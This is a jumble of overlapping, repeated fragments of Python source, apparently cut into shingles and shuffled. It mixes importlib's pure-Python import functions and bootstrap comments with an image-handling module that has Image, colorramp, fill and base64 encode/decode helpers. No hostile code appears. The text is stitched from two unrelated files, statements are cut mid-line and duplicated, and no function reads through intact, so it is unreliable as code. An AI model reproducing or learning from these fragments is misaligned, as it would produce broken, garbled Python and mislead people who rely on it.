import. \"\"\" level =", "complete, DO NOT import any modules that attempt # to", "so, then sys.modules[name].__loader__ is returned. If that happens to be", "to use as the anchor point from which to resolve", "import _bootstrap _bootstrap._setup(sys, _imp) # To simplify imports in test", "is checked to see if the module was already imported.", "# Bootstrap help ##################################################### # Until bootstrapping is complete, DO", "for a submodule to get the correct loader. \"\"\" try:", "hook for importlib stuff to work. from . import basehook", "0 if name.startswith('.'): if not package: raise TypeError(\"relative imports require", "indirectly). Since this # partially initialised package would be present", "!= '.': break level += 1 return _bootstrap._gcd_import(name[level:], package, level)", "Python implementation of import.\"\"\" __all__ = ['__import__', 'import_module', 'invalidate_caches'] #", "most likely need to explicitly import all parent packages in", "import. It specifies the package to use as the anchor", "relative import. It specifies the package to use as the", "\"\"\"Find the loader for the specified module. First, sys.modules is", "is None'.format(name)) else: return loader except KeyError: pass return _bootstrap._find_module(name,", "path finders stored in sys.meta_path (where implemented).\"\"\" for finder in", "attempt # to import importlib._bootstrap (directly or indirectly). Since this", "of a fully initialised version (either the frozen one or", "already imported. If so, then sys.modules[name].__loader__ is returned. If that", "\"\"\"Call the invalidate_caches() method on all meta path finders stored", "instead # of a fully initialised version (either the frozen", "is not in sys.modules, then sys.meta_path is searched for a", "not have their parent packages implicitly imported. You will most", "invalidate_caches(): \"\"\"Call the invalidate_caches() method on all meta path finders", "loader with the value of 'path' given to the finders.", "is returned. If that happens to be set to None,", "module was already imported. If so, then sys.modules[name].__loader__ is returned.", "_bootstrap._r_long # Fully bootstrapped at this point, import whatever you", "\"\"\"A pure Python implementation of import.\"\"\" __all__ = ['__import__', 'import_module',", "frozen one is not available). import _imp # Just the", "to an absolute import. \"\"\" level = 0 if name.startswith('.'):", "__import__ def invalidate_caches(): \"\"\"Call the invalidate_caches() method on all meta", "modules that attempt # to import importlib._bootstrap (directly or indirectly).", "argument is required when performing a relative import. It specifies", "except KeyError: pass return _bootstrap._find_module(name, path) def import_module(name, package=None): \"\"\"Import", "else: return loader except KeyError: pass return _bootstrap._find_module(name, path) def", "module is not in sys.modules, then sys.meta_path is searched for", "if not package: raise TypeError(\"relative imports require the 'package' argument\")", "or the one # initialised below if the frozen one", "use as the anchor point from which to resolve the", "character in name: if character != '.': break level +=", "raise ValueError('{}.__loader__ is None'.format(name)) else: return loader except KeyError: pass", "stored in sys.meta_path (where implemented).\"\"\" for finder in sys.meta_path: if", "as the anchor point from which to resolve the relative", "sys.meta_path (where implemented).\"\"\" for finder in sys.meta_path: if hasattr(finder, 'invalidate_caches'):", "names do not have their parent packages implicitly imported. You", "\"\"\" level = 0 if name.startswith('.'): if not package: raise", "in sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None): \"\"\"Find", "if character != '.': break level += 1 return _bootstrap._gcd_import(name[level:],", "raise TypeError(\"relative imports require the 'package' argument\") for character in", "the finders. None is returned if no loader could be", "is None: raise ValueError('{}.__loader__ is None'.format(name)) else: return loader except", "Since this # partially initialised package would be present in", "meta path finders stored in sys.meta_path (where implemented).\"\"\" for finder", "source version, instead # of a fully initialised version (either", "checked to see if the module was already imported. If", "path) def import_module(name, package=None): \"\"\"Import a module. The 'package' argument", "when performing a relative import. It specifies the package to", "a submodule to get the correct loader. \"\"\" try: loader", "the value of 'path' given to the finders. None is", "an absolute import. \"\"\" level = 0 if name.startswith('.'): if", "would be present in sys.modules, those # modules would get", "point from which to resolve the relative import to an", "a fully initialised version (either the frozen one or the", "finders. None is returned if no loader could be found.", "return _bootstrap._gcd_import(name[level:], package, level) #need at least one import hook", "NOT import any modules that attempt # to import importlib._bootstrap", "version (either the frozen one or the one # initialised", "path=None): \"\"\"Find the loader for the specified module. First, sys.modules", "import hook for importlib stuff to work. from . import", "module. First, sys.modules is checked to see if the module", "to import importlib._bootstrap (directly or indirectly). Since this # partially", "fully initialised version (either the frozen one or the one", "implemented).\"\"\" for finder in sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def", "to None, then ValueError is raised. If the module is", "import whatever you like, circular # dependencies and startup overhead", "that happens to be set to None, then ValueError is", "is complete, DO NOT import any modules that attempt #", "import.\"\"\" __all__ = ['__import__', 'import_module', 'invalidate_caches'] # Bootstrap help #####################################################", "suitable loader with the value of 'path' given to the", "relative import to an absolute import. \"\"\" level = 0", "implementation of import.\"\"\" __all__ = ['__import__', 'import_module', 'invalidate_caches'] # Bootstrap", "name.startswith('.'): if not package: raise TypeError(\"relative imports require the 'package'", "imports require the 'package' argument\") for character in name: if", "the module is not in sys.modules, then sys.meta_path is searched", "import any modules that attempt # to import importlib._bootstrap (directly", "not package: raise TypeError(\"relative imports require the 'package' argument\") for", "overhead minimisation permitting :) # Public API ######################################################### from ._bootstrap", "an uninitialised copy of the source version, instead # of", "# to import importlib._bootstrap (directly or indirectly). Since this #", "(directly or indirectly). Since this # partially initialised package would", "this # partially initialised package would be present in sys.modules,", "# modules would get an uninitialised copy of the source", "finder.invalidate_caches() def find_loader(name, path=None): \"\"\"Find the loader for the specified", "to resolve the relative import to an absolute import. \"\"\"", "the 'package' argument\") for character in name: if character !=", "of 'path' given to the finders. None is returned if", "is not available). import _imp # Just the builtin component,", "\"\"\" try: loader = sys.modules[name].__loader__ if loader is None: raise", "(either the frozen one or the one # initialised below", "None: raise ValueError('{}.__loader__ is None'.format(name)) else: return loader except KeyError:", "happens to be set to None, then ValueError is raised.", "full Python module import sys from . import machinery from", "searched for a suitable loader with the value of 'path'", "value of 'path' given to the finders. None is returned", "def invalidate_caches(): \"\"\"Call the invalidate_caches() method on all meta path", "It specifies the package to use as the anchor point", "from . import machinery from . import _bootstrap _bootstrap._setup(sys, _imp)", "import all parent packages in the proper order for a", "loader for the specified module. First, sys.modules is checked to", "loader = sys.modules[name].__loader__ if loader is None: raise ValueError('{}.__loader__ is", "# Until bootstrapping is complete, DO NOT import any modules", "sys from . import machinery from . import _bootstrap _bootstrap._setup(sys,", "order for a submodule to get the correct loader. \"\"\"", "the anchor point from which to resolve the relative import", "the builtin component, NOT the full Python module import sys", "package, level) #need at least one import hook for importlib", "if loader is None: raise ValueError('{}.__loader__ is None'.format(name)) else: return", "startup overhead minimisation permitting :) # Public API ######################################################### from", "present in sys.modules, those # modules would get an uninitialised", "sys.modules is checked to see if the module was already", "name: if character != '.': break level += 1 return", "least one import hook for importlib stuff to work. from", "# Public API ######################################################### from ._bootstrap import __import__ def invalidate_caches():", "DO NOT import any modules that attempt # to import", "= _bootstrap._r_long # Fully bootstrapped at this point, import whatever", "that attempt # to import importlib._bootstrap (directly or indirectly). Since", "(where implemented).\"\"\" for finder in sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches()", "module import sys from . import machinery from . import", "packages implicitly imported. You will most likely need to explicitly", "importlib._bootstrap (directly or indirectly). Since this # partially initialised package", "bootstrapped at this point, import whatever you like, circular #", "Bootstrap help ##################################################### # Until bootstrapping is complete, DO NOT", "get an uninitialised copy of the source version, instead #", "try: loader = sys.modules[name].__loader__ if loader is None: raise ValueError('{}.__loader__", "_bootstrap._gcd_import(name[level:], package, level) #need at least one import hook for", "frozen one or the one # initialised below if the", "a suitable loader with the value of 'path' given to", "the specified module. First, sys.modules is checked to see if", "below if the frozen one is not available). import _imp", "be present in sys.modules, those # modules would get an", "sys.modules[name].__loader__ is returned. If that happens to be set to", "# Fully bootstrapped at this point, import whatever you like,", "Fully bootstrapped at this point, import whatever you like, circular", "of the source version, instead # of a fully initialised", "You will most likely need to explicitly import all parent", "_w_long = _bootstrap._w_long _r_long = _bootstrap._r_long # Fully bootstrapped at", "Just the builtin component, NOT the full Python module import", "If that happens to be set to None, then ValueError", "version, instead # of a fully initialised version (either the", "all parent packages in the proper order for a submodule", "correct loader. \"\"\" try: loader = sys.modules[name].__loader__ if loader is", "found. Dotted names do not have their parent packages implicitly", "at this point, import whatever you like, circular # dependencies", "to be set to None, then ValueError is raised. If", "If the module is not in sys.modules, then sys.meta_path is", "to see if the module was already imported. If so,", "no loader could be found. Dotted names do not have", "import importlib._bootstrap (directly or indirectly). Since this # partially initialised", "initialised version (either the frozen one or the one #", "loader could be found. Dotted names do not have their", "loader. \"\"\" try: loader = sys.modules[name].__loader__ if loader is None:", "implicitly imported. You will most likely need to explicitly import", "is returned if no loader could be found. Dotted names", "_imp) # To simplify imports in test code _w_long =", "'package' argument\") for character in name: if character != '.':", "_bootstrap._w_long _r_long = _bootstrap._r_long # Fully bootstrapped at this point,", "API ######################################################### from ._bootstrap import __import__ def invalidate_caches(): \"\"\"Call the", "Python module import sys from . import machinery from .", "'package' argument is required when performing a relative import. It", "ValueError('{}.__loader__ is None'.format(name)) else: return loader except KeyError: pass return", "have their parent packages implicitly imported. You will most likely", "performing a relative import. It specifies the package to use", "returned. If that happens to be set to None, then", "anchor point from which to resolve the relative import to", "the correct loader. \"\"\" try: loader = sys.modules[name].__loader__ if loader", "import. \"\"\" level = 0 if name.startswith('.'): if not package:", "None, then ValueError is raised. If the module is not", "__all__ = ['__import__', 'import_module', 'invalidate_caches'] # Bootstrap help ##################################################### #", "any modules that attempt # to import importlib._bootstrap (directly or", "# dependencies and startup overhead minimisation permitting :) # Public", "the frozen one is not available). import _imp # Just", "which to resolve the relative import to an absolute import.", "_bootstrap._find_module(name, path) def import_module(name, package=None): \"\"\"Import a module. The 'package'", "dependencies and startup overhead minimisation permitting :) # Public API", "Public API ######################################################### from ._bootstrap import __import__ def invalidate_caches(): \"\"\"Call", "one is not available). import _imp # Just the builtin", "parent packages implicitly imported. You will most likely need to", "None'.format(name)) else: return loader except KeyError: pass return _bootstrap._find_module(name, path)", "proper order for a submodule to get the correct loader.", "was already imported. If so, then sys.modules[name].__loader__ is returned. If", "required when performing a relative import. It specifies the package", "return _bootstrap._find_module(name, path) def import_module(name, package=None): \"\"\"Import a module. The", "package to use as the anchor point from which to", "given to the finders. None is returned if no loader", "builtin component, NOT the full Python module import sys from", "the frozen one or the one # initialised below if", "_r_long = _bootstrap._r_long # Fully bootstrapped at this point, import", "then sys.meta_path is searched for a suitable loader with the", "if no loader could be found. Dotted names do not", "sys.modules, then sys.meta_path is searched for a suitable loader with", "#need at least one import hook for importlib stuff to", "to get the correct loader. \"\"\" try: loader = sys.modules[name].__loader__", "pass return _bootstrap._find_module(name, path) def import_module(name, package=None): \"\"\"Import a module.", "sys.modules, those # modules would get an uninitialised copy of", "+= 1 return _bootstrap._gcd_import(name[level:], package, level) #need at least one", "be found. Dotted names do not have their parent packages", "bootstrapping is complete, DO NOT import any modules that attempt", "would get an uninitialised copy of the source version, instead", "test code _w_long = _bootstrap._w_long _r_long = _bootstrap._r_long # Fully", "= _bootstrap._w_long _r_long = _bootstrap._r_long # Fully bootstrapped at this", "uninitialised copy of the source version, instead # of a", "package would be present in sys.modules, those # modules would", "._bootstrap import __import__ def invalidate_caches(): \"\"\"Call the invalidate_caches() method on", "in sys.modules, then sys.meta_path is searched for a suitable loader", "import to an absolute import. \"\"\" level = 0 if", "raised. If the module is not in sys.modules, then sys.meta_path", "at least one import hook for importlib stuff to work.", "if the module was already imported. If so, then sys.modules[name].__loader__", "'import_module', 'invalidate_caches'] # Bootstrap help ##################################################### # Until bootstrapping is", "a module. The 'package' argument is required when performing a", "code _w_long = _bootstrap._w_long _r_long = _bootstrap._r_long # Fully bootstrapped", "finder in sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None):", "likely need to explicitly import all parent packages in the", "NOT the full Python module import sys from . import", "= ['__import__', 'import_module', 'invalidate_caches'] # Bootstrap help ##################################################### # Until", "def import_module(name, package=None): \"\"\"Import a module. The 'package' argument is", "import __import__ def invalidate_caches(): \"\"\"Call the invalidate_caches() method on all", "from . import _bootstrap _bootstrap._setup(sys, _imp) # To simplify imports", "do not have their parent packages implicitly imported. You will", "# partially initialised package would be present in sys.modules, those", "the source version, instead # of a fully initialised version", "return loader except KeyError: pass return _bootstrap._find_module(name, path) def import_module(name,", "import machinery from . import _bootstrap _bootstrap._setup(sys, _imp) # To", "machinery from . import _bootstrap _bootstrap._setup(sys, _imp) # To simplify", "invalidate_caches() method on all meta path finders stored in sys.meta_path", "the proper order for a submodule to get the correct", "the loader for the specified module. First, sys.modules is checked", "get the correct loader. \"\"\" try: loader = sys.modules[name].__loader__ if", "# of a fully initialised version (either the frozen one", "is searched for a suitable loader with the value of", "returned if no loader could be found. Dotted names do", "initialised package would be present in sys.modules, those # modules", "if the frozen one is not available). import _imp #", "minimisation permitting :) # Public API ######################################################### from ._bootstrap import", "one # initialised below if the frozen one is not", "= sys.modules[name].__loader__ if loader is None: raise ValueError('{}.__loader__ is None'.format(name))", "from ._bootstrap import __import__ def invalidate_caches(): \"\"\"Call the invalidate_caches() method", "circular # dependencies and startup overhead minimisation permitting :) #", "you like, circular # dependencies and startup overhead minimisation permitting", "whatever you like, circular # dependencies and startup overhead minimisation", "initialised below if the frozen one is not available). import", "their parent packages implicitly imported. You will most likely need" ]
[ "def __init__(self, img: PImage.Image): self.img = img \"\"\"The wrapped pillow", "def thumbnail(self, *args, **kwargs): \"\"\"Convert this image into a thumbail.", "None, image: Optional[Image] = None, ) -> Image: \"\"\"Apply color", "* np.sin(2*y* np.pi) img = image.colorramp(values) First this function will", "the :mod:`pillow:PIL.ImageColor` module. If omitted this will default to transparent", "all values fall in the range :math:`[0, 1]`. It will", "\"\"\" return Image(PImage.open(*args, **kwargs)) def save(image: Image, filename: str, mkdirs:", "the :mod:`pillow:PIL.ImageColor` module. If omitted this will default to black.", "specified by a mask. Parameters ---------- mask: The mask that", "= np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels) def fill( region, foreground: Optional[str]", "The color to use for values near :math:`1` (default, :code:`white`)", "to encode. Example ------- :: >>> import arlunio.image as image", "Image: \"\"\"Creates a new image with the given background color.\"\"\"", "values fall in the range :math:`[0, 1]`. It will then", "bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501 img = image.decode(bytestring) \"\"\"", "will then produce an image with the same dimensions as", "not isinstance(region, ast.Node): region = region() return ast.Node.fill(image, region, fill_color)", "as ast import arlunio.color as color import arlunio.mask as mask", "alpha_composite(self, im, *args, **kwargs): \"\"\"Composites an image onto this image.", "the given filename. See :meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args, **kwargs) def thumbnail(self,", "pathlib.Path(filename) if not path.parent.exists() and mkdirs: path.parent.mkdir(parents=True) with open(filename, \"wb\")", "0.5, -0.25 img = image.fill(circle(width=512, height=256), foreground='blue', image=img) \"\"\" foreground", "bytestring to decode. Example ------- .. arlunio-image:: Decode Example :include-code:", "between images.\") img = self.copy() img.alpha_composite(other) return img @property def", "copy(self): \"\"\"Return a copy of the image. See :meth:`pillow:PIL.Image.Image.copy` \"\"\"", ":meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if isinstance(im, Image): im = im.img self.img.alpha_composite(im, *args,", "return ast.Node.builtin(name=\"image\", color=color) def fromarray(*args, **kwargs): \"\"\"Create an image from", "if not isinstance(other, Image): return False a = np.asarray(self.img) b", "to decode. Example ------- .. arlunio-image:: Decode Example :include-code: ::", "None: start = \"black\" if stop is None: stop =", "= cartesian(width=256, height=256) x = image.colorramp(p[:, :, 0], start=\"#0000\", stop=\"#f007\")", "color.getcolor(stop, \"RGBA\") funcs = [math.lerp(a, b) for a, b in", "np.asarray(other.img) return (a == b).all() def __add__(self, other): if isinstance(other,", "0, 0 img = image.fill(circle(width=512, height=256), foreground='#0f0', image=img) circle.x0, circle.y0", "of the scaled array. - If the value is :math:`0`", "ast import arlunio.color as color import arlunio.mask as mask import", "self.img.alpha_composite(im, *args, **kwargs) def copy(self): \"\"\"Return a copy of the", "start: Optional[str] = None, stop: Optional[str] = None) -> Image:", "gradient based on them. .. arlunio-image:: Colorramp Demo :align: right", "of an image, implemented as a wrapper around a standard", "zip(start, stop)] channels = [np.floor(func(vs)) for func in funcs] pixels", "will be chosen based on the corresponding value of the", "this parameter can be used to set the background color", "= None, background: Optional[str] = None, image: Optional[Image] = None,", "color=color) def fromarray(*args, **kwargs): \"\"\"Create an image from an array", "image.save(f) def encode(image: Image) -> bytes: \"\"\"Return the image encoded", "If true, make any parent directories \"\"\" path = pathlib.Path(filename)", "color. start: The color to use for values near :math:`0`", "a copy of the image. See :meth:`pillow:PIL.Image.Image.copy` \"\"\" return Image(self.img.copy())", "function will scale the input array so that all values", "to set the background color of the generated image. This", "Image(self.img.copy()) def paste(self, *args, **kwargs): \"\"\"Paste another image into this", "the background color of the generated image. This can be", "None: stop = \"white\" start = color.getcolor(start, \"RGBA\") stop =", "= np.sin(2*x*np.pi) * np.sin(2*y* np.pi) img = image.colorramp(values) First this", "pixels = np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels) def fill( region, foreground:", "def new(color) -> Image: \"\"\"Creates a new image with the", "as they should be contained in the numpy backend. import", "p = cartesian(width=256, height=256) x = image.colorramp(p[:, :, 0], start=\"#0000\",", "the region to be coloured foreground: A string representation of", "fromarray(pixels) def fill( region, foreground: Optional[str] = None, background: Optional[str]", "img: PImage.Image): self.img = img \"\"\"The wrapped pillow image object.\"\"\"", "numpy. return self.img.__array_interface__ def _repr_png_(self): # Give nice previews in", "represented by the given bytestring into an image object. Parameters", "plays nice with numpy. return self.img.__array_interface__ def _repr_png_(self): # Give", "image >>> img = image.new((8, 8), color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg=='", "by a mask. Parameters ---------- mask: The mask that selects", "filename: str, mkdirs: bool = False) -> None: \"\"\"Save an", "arlunio.image as image import arlunio.math as math import numpy as", "from __future__ import annotations import base64 import io import logging", "Example :include-code: :: import arlunio.image as image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg=='", "arlunio.ast as ast import arlunio.color as color import arlunio.mask as", "the values so that they fall into the range [0,", "will be given by the :code:`start` parameter - If the", "background image = new(color=background) if not isinstance(region, ast.Node): region =", "Parameters ---------- image: The image to encode. Example ------- ::", "base64 import io import logging import pathlib from typing import", "in any format that is supported by the :mod:`pillow:PIL.ImageColor` module.", ":param filename: The filepath to save the image to. :param", "if image is None: background = \"#0000\" if background is", "---------- values: The array of values used to decide on", "**kwargs) def save(self, *args, **kwargs): \"\"\"Save the image with the", "---------- image: The image to encode. Example ------- :: >>>", "-------- .. arlunio-image:: Colorramp Demo 2 :include-code: :: import arlunio.image", "self.img.__array_interface__ def _repr_png_(self): # Give nice previews in jupyter notebooks", "module. If omitted this will default to transparent image: The", "b = np.asarray(other.img) return (a == b).all() def __add__(self, other):", "values used to decide on the color. start: The color", "be in any format that is supported by the :mod:`pillow:PIL.ImageColor`", "image will be used. Example -------- .. arlunio-image:: Fill Demo", "the given bytestring into an image object. Parameters ---------- bytestring:", "vs / np.max(vs) if start is None: start = \"black\"", "image onto this image. See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if isinstance(im, Image):", "to save the image to. :param mkdirs: If true, make", ".. arlunio-image:: Colorramp Demo 2 :include-code: :: import arlunio.image as", "is not provided this parameter can be used to set", "= pathlib.Path(filename) if not path.parent.exists() and mkdirs: path.parent.mkdir(parents=True) with open(filename,", "stop=\"#00f7\") img = x + y \"\"\" # Scale all", "PImage.Image): self.img = img \"\"\"The wrapped pillow image object.\"\"\" def", "cartesian = math.Cartesian() p = cartesian(width=256, height=256) x, y =", "pathlib from typing import Optional # TODO: Remove these, as", "*args, **kwargs) def copy(self): \"\"\"Return a copy of the image.", "start=\"#0000\", stop=\"#00f7\") img = x + y \"\"\" # Scale", "= math.Cartesian() p = cartesian(width=256, height=256) x, y = p[:,", "as shape circle = shape.Circle(x0=-0.5, y0=0.25, r=0.6) img = image.fill(circle(width=512,", "numpy backend. import numpy as np import PIL.Image as PImage", "is :math:`1` the color will be given by the :code:`stop`", "an image onto this image. See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if isinstance(im,", "import numpy as np cartesian = math.Cartesian() p = cartesian(width=256,", "right :: import arlunio.image as image import arlunio.math as math", "= io.BytesIO(data) return Image(load(bytes_)) def colorramp(values, start: Optional[str] = None,", "be coloured foreground: A string representation of the color to", "new(color) -> Image: \"\"\"Creates a new image with the given", ":: >>> import arlunio.image as image >>> img = image.new((8,", "value is :math:`0` the color will be given by the", "any string that is accepted by the :mod:`pillow:PIL.ImageColor` module. If", "__eq__(self, other): if not isinstance(other, Image): return False a =", "from the given file. See :func:`pillow:PIL.Image.open` \"\"\" return Image(PImage.open(*args, **kwargs))", "height=256) x = image.colorramp(p[:, :, 0], start=\"#0000\", stop=\"#f007\") y =", "image. See :meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args, **kwargs) def save(self, *args, **kwargs):", "based on them. .. arlunio-image:: Colorramp Demo :align: right ::", "as mask import arlunio.math as math logger = logging.getLogger(__name__) class", "bytes: \"\"\"Return the image encoded as a base64 string. Parameters", "value is :math:`1` the color will be given by the", "def colorramp(values, start: Optional[str] = None, stop: Optional[str] = None)", "string representation of the color to use, this can be", "mkdirs: path.parent.mkdir(parents=True) with open(filename, \"wb\") as f: image.save(f) def encode(image:", "be chosen based on the corresponding value of the scaled", "stop=\"#f007\") y = image.colorramp(p[:, :, 1], start=\"#0000\", stop=\"#00f7\") img =", "-> Image: \"\"\"Given a 2d array of values, produce an", "string that is accepted by the :mod:`pillow:PIL.ImageColor` module. If omitted", "io import logging import pathlib from typing import Optional #", "(default, :code:`white`) Examples -------- .. arlunio-image:: Colorramp Demo 2 :include-code:", "to transparent image: The image to color in, if omitted", "omitted a blank image will be used. Example -------- ..", "def size(self): return self.img.size def alpha_composite(self, im, *args, **kwargs): \"\"\"Composites", "def save(image: Image, filename: str, mkdirs: bool = False) ->", "blank image will be used. Example -------- .. arlunio-image:: Fill", "def load(*args, **kwargs) -> Image: \"\"\"Load an image from the", "**kwargs): \"\"\"Paste another image into this image. See :meth:`pillow:PIL.Image.Image.paste` \"\"\"", "encode(image: Image) -> bytes: \"\"\"Return the image encoded as a", "input array so that all values fall in the range", "a mask. Parameters ---------- mask: The mask that selects the", "\"\"\"The wrapped pillow image object.\"\"\" def __eq__(self, other): if not", "np.asarray(self.img) b = np.asarray(other.img) return (a == b).all() def __add__(self,", "that is supported by the :mod:`pillow:PIL.ImageColor` module. If omitted this", "import arlunio.image as image import arlunio.shape as shape circle =", "<gh_stars>0 from __future__ import annotations import base64 import io import", "the original array. The color of each pixel will be", "a new image with the given background color.\"\"\" return ast.Node.builtin(name=\"image\",", "return Image(PImage.fromarray(*args, **kwargs)) def load(*args, **kwargs) -> Image: \"\"\"Load an", "parameter - Otherwise the color will be some mix between", "= None) -> Image: \"\"\"Given a 2d array of values,", "\"\"\"Convert this image into a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args,", "image with the given filename. See :meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args, **kwargs)", ":code:`black`) stop: The color to use for values near :math:`1`", "supported by the :mod:`pillow:PIL.ImageColor` module. If omitted this will default", "circle.y0 = 0, 0 img = image.fill(circle(width=512, height=256), foreground='#0f0', image=img)", "height=256), foreground='#0f0', image=img) circle.x0, circle.y0 = 0.5, -0.25 img =", "an image object. Parameters ---------- bytestring: The bytestring to decode.", "image from the given file. See :func:`pillow:PIL.Image.open` \"\"\" return Image(PImage.open(*args,", "\"\"\" return Image(self.img.copy()) def paste(self, *args, **kwargs): \"\"\"Paste another image", "cartesian(width=256, height=256) x, y = p[:, :, 0], p[:, :,", "channels = [np.floor(func(vs)) for func in funcs] pixels = np.array(np.dstack(channels),", "= self.copy() img.alpha_composite(other) return img @property def __array_interface__(self): # Ensure", "y0=0.25, r=0.6) img = image.fill(circle(width=512, height=256), foreground='red') circle.x0, circle.y0 =", "each pixel will be chosen based on the corresponding value", "load(*args, **kwargs) -> Image: \"\"\"Load an image from the given", "arlunio.mask as mask import arlunio.math as math logger = logging.getLogger(__name__)", "import io import logging import pathlib from typing import Optional", "the range [0, 1] minx = np.min(values) vs = np.array(values)", "start = color.getcolor(start, \"RGBA\") stop = color.getcolor(stop, \"RGBA\") funcs =", "\"\"\" self.img.paste(*args, **kwargs) def save(self, *args, **kwargs): \"\"\"Save the image", "math.Cartesian() p = cartesian(width=256, height=256) x, y = p[:, :,", "- minx vs = vs / np.max(vs) if start is", "import arlunio.shape as shape circle = shape.Circle(x0=-0.5, y0=0.25, r=0.6) img", "return False a = np.asarray(self.img) b = np.asarray(other.img) return (a", "around a standard Pillow image.\"\"\" def __init__(self, img: PImage.Image): self.img", "color of the generated image. This can be any string", "\"wb\") as f: image.save(f) def encode(image: Image) -> bytes: \"\"\"Return", "= \"white\" start = color.getcolor(start, \"RGBA\") stop = color.getcolor(stop, \"RGBA\")", "Otherwise the color will be some mix between the two.", "make any parent directories \"\"\" path = pathlib.Path(filename) if not", "io.BytesIO() as byte_stream: image.save(byte_stream, \"PNG\") image_bytes = byte_stream.getvalue() return base64.b64encode(image_bytes)", "= image.decode(bytestring) \"\"\" data = base64.b64decode(bytestring) bytes_ = io.BytesIO(data) return", "logging import pathlib from typing import Optional # TODO: Remove", "foreground: Optional[str] = None, background: Optional[str] = None, image: Optional[Image]", ":param mkdirs: If true, make any parent directories \"\"\" path", "they should be contained in the numpy backend. import numpy", "Optional # TODO: Remove these, as they should be contained", "cartesian = math.Cartesian() p = cartesian(width=256, height=256) x = image.colorramp(p[:,", "image to encode. Example ------- :: >>> import arlunio.image as", "an image with the same dimensions as the original array.", ") -> Image: \"\"\"Apply color to an image, as specified", "copy of the image. See :meth:`pillow:PIL.Image.Image.copy` \"\"\" return Image(self.img.copy()) def", "as a base64 string. Parameters ---------- image: The image to", "not isinstance(other, PImage.Image): raise TypeError(\"Addition is only supported between images.\")", "only supported between images.\") img = self.copy() img.alpha_composite(other) return img", "mask. Parameters ---------- mask: The mask that selects the region", "values so that they fall into the range [0, 1]", "from an array See :func:`pillow:PIL.Image.fromarray` \"\"\" return Image(PImage.fromarray(*args, **kwargs)) def", "import arlunio.mask as mask import arlunio.math as math logger =", "return self.img._repr_png_() @property def size(self): return self.img.size def alpha_composite(self, im,", "a base64 string. Parameters ---------- image: The image to encode.", "as image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501 img =", "image.colorramp(values) First this function will scale the input array so", "If the value is :math:`1` the color will be given", "def encode(image: Image) -> bytes: \"\"\"Return the image encoded as", "-> bytes: \"\"\"Return the image encoded as a base64 string.", ">>> import arlunio.image as image >>> img = image.new((8, 8),", "image. See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if isinstance(im, Image): im = im.img", "noqa: E501 img = image.decode(bytestring) \"\"\" data = base64.b64decode(bytestring) bytes_", "typing import Optional # TODO: Remove these, as they should", "import annotations import base64 import io import logging import pathlib", "data = base64.b64decode(bytestring) bytes_ = io.BytesIO(data) return Image(load(bytes_)) def colorramp(values,", "the value is :math:`0` the color will be given by", "Image: \"\"\"Decode the image represented by the given bytestring into", "__add__(self, other): if isinstance(other, Image): other = other.img if not", "stop = \"white\" start = color.getcolor(start, \"RGBA\") stop = color.getcolor(stop,", "as color import arlunio.mask as mask import arlunio.math as math", "funcs] pixels = np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels) def fill( region,", "bytestring into an image object. Parameters ---------- bytestring: The bytestring", "Example ------- .. arlunio-image:: Decode Example :include-code: :: import arlunio.image", "object. Parameters ---------- bytestring: The bytestring to decode. Example -------", "some mix between the two. Parameters ---------- values: The array", "foreground='red') circle.x0, circle.y0 = 0, 0 img = image.fill(circle(width=512, height=256),", "def copy(self): \"\"\"Return a copy of the image. See :meth:`pillow:PIL.Image.Image.copy`", "[0, 1] minx = np.min(values) vs = np.array(values) - minx", "case where an existing image is not provided this parameter", "in jupyter notebooks return self.img._repr_png_() @property def size(self): return self.img.size", "a = np.asarray(self.img) b = np.asarray(other.img) return (a == b).all()", "np.sin(2*x*np.pi) * np.sin(2*y* np.pi) img = image.colorramp(values) First this function", "r=0.6) img = image.fill(circle(width=512, height=256), foreground='red') circle.x0, circle.y0 = 0,", "this image. See :meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args, **kwargs) def save(self, *args,", "this can be in any format that is supported by", "The mask that selects the region to be coloured foreground:", "**kwargs): \"\"\"Save the image with the given filename. See :meth:`pillow:PIL.Image.Image.save`", "by the :mod:`pillow:PIL.ImageColor` module. If omitted this will default to", "array See :func:`pillow:PIL.Image.fromarray` \"\"\" return Image(PImage.fromarray(*args, **kwargs)) def load(*args, **kwargs)", "where an existing image is not provided this parameter can", "to color in, if omitted a blank image will be", "= image.colorramp(values) First this function will scale the input array", "if foreground is None else foreground fill_color = color.getcolor(foreground, \"RGBA\")", "Demo 2 :include-code: :: import arlunio.image as image import arlunio.math", "value of the scaled array. - If the value is", "def save(self, *args, **kwargs): \"\"\"Save the image with the given", "base64 string. Parameters ---------- image: The image to encode. Example", "p[:, :, 0], p[:, :, 1] values = np.sin(2*x*np.pi) *", "= np.asarray(other.img) return (a == b).all() def __add__(self, other): if", "If the value is :math:`0` the color will be given", "**kwargs)) def load(*args, 